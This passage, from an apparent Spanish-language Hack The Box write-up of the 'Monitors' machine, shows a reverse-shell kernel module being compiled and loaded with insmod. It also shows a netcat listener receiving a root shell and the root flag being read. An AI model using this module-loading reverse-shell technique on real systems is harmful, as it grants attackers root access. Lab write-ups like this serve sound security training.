  CC      /tmp/reverse-shell.mod.o
  LD [M]  /tmp/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.15.0-151-generic'

root@f89953eb655c:/tmp# ls
Makefile	modules.order	 reverse-shell.ko     reverse-shell.mod.o
Module.symvers	reverse-shell.c  reverse-shell.mod.c  reverse-shell.o

El archivo que nos interesa ahora es “reverse-shell.ko”

sudo nc -lnvp 1337

El comando “insmod reverse-shell.ko” se utiliza para cargar el módulo “reverse-shell.ko” que hemos creado en el kernel del sistema

root@f89953eb655c:/tmp# insmod reverse-shell.ko 
┌─[ot3ro@parrot]─[~/HTB/Monitors]
└──╼ $sudo nc -lnvp 1337
listening on [any] 1337 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.238] 43972
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@monitors:/# 
root@monitors:/# cd /root                                
root@monitors:/root# ls -l
-r-------- 1 root root 33 Oct 14 02:41 root.txt
root@monitors:/root# cat root.txt
6e043611cf3dd906c06982e09596caf5

Y hemos logrado obtener la flag root.txt